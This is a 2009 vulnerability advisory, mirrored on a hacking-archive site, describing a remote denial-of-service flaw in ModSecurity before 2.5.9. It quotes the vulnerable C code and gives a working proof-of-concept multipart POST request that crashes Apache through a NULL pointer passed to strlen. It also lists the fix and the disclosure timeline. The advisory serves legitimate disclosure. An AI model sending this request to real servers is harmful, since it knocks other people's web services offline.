AOH :: HP Unsorted M :: VA2930.HTM

ModSecurity < 2.5.9 remote Denial of Service (DoS)



ModSecurity < 2.5.9 remote Denial of Service (DoS)
ModSecurity < 2.5.9 remote Denial of Service (DoS)



============================================INTERNET SECURITY AUDITORS ALERT 2009-001
- Original release date: February 25th, 2009
- Last revised:  March 19th, 2009
- Discovered by: Juan Galiana Lara
- Severity: 7.8/10 (CVSS Base Scored)
============================================
I. VULNERABILITY
-------------------------
ModSecurity < 2.5.9 is vulnerable to a remote Denial of Service (DoS)

II. BACKGROUND
-------------------------
ModSecurity is the most widely-deployed web application firewall in
the world, with more than 15,000 users. It runs as a Apache web server
module and is developed by Breach Security [ http://www.breach.com ], 
it's avaliable with GNU GPL and many other comercial licenses.

III. DESCRIPTION
-------------------------
The multipart processor of modsecurity does not sanitize the user
supplied input sufficiently. Therefore, an attacker can send a crafted
post request of type multipart/form-data which will lead in a remote
denial of service.

The snippet of vulnerable code:

in file msc_multipart.c

1256 int multipart_get_arguments(modsec_rec *msr, char *origin,
apr_table_t *arguments) {
1257     multipart_part **parts;
1258     int i;
1259
1260     parts = (multipart_part **)msr->mpd->parts->elts;
1261     for(i = 0; i < msr->mpd->parts->nelts; i++) {
1262         if (parts[i]->type == MULTIPART_FORMDATA) {
1263             msc_arg *arg = (msc_arg *)apr_pcalloc(msr->mp,
sizeof(msc_arg));
1264             if (arg == NULL) return -1;
1265
1266             arg->name = parts[i]->name;
1267             arg->name_len = strlen(parts[i]->name);

On line 1267, due to the pointer parts[i]->name is not properly
sanitized the parameter of strlen function takes the value NULL,
getting a segmentation fault and resulting in a crash of the apache
process that handle the request.

IV. PROOF OF CONCEPT
-------------------------
The process could be crashed remotely by sending:

POST / HTTP/1.0
Content-Type: multipart/form-data;
boundary=---------------------------xxxxxxxxxxxxxx
Content-Length: 91

-----------------------------xxxxxxxxxxxxxx
:
-----------------------------xxxxxxxxxxxxxx--

In order to send a correct HTTP/1.1 request you must add a valid Host
header.

With the configuration directives:

    SecAuditEngine On
    SecDebugLogLevel 9

After the attack, the last line of the debug logfile is:

[25/Feb/2009:09:51:18 +0100] [vhost/sid#884348][rid#aaf0d8][/][9]
Multipart: Added part abe458 to the list: name "(null)" (offset 0,
length 0)

V. BUSINESS IMPACT
-------------------------
An attacker could cause a remote denial of service to an Apache
installation with modsecurity 2 module.

VI. SYSTEMS AFFECTED
-------------------------
ModSecurity between 2.5.5 and 2.5.8 are vulnerable, other versions may
be affected.

Tested with Apache httpd 2.2.11.

VII. SOLUTION
-------------------------
Upgrade to version 2.5.9 of ModSecurity. It can be downloaded from
http://modsecurity.org/download/ 

VIII. REFERENCES
-------------------------
http://www.modsecurity.org 
http://www.isecauditors.com 

IX. CREDITS
-------------------------
This vulnerability has been discovered
by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
Thanks to Jordi Rubi=F3 Romero (jrubio (at) isecauditorts (dot) com).

X. REVISION HISTORY
-------------------------
February 25, 2009: Initial release
March    19, 2009: Revision.

XI. DISCLOSURE TIMELINE
-------------------------
Febraury 25, 2009: Vulnerability acquired by
Internet Security Auditors (www.isecauditors.com) 
March    02, 2009: ModSecurity contacted.
March    02, 2009: Response about remediation plan.
March    11, 2009: Path released
March    19, 2009: Published.

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors, S.L. accepts no responsibility for any
damage caused by the use or misuse of this information.

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.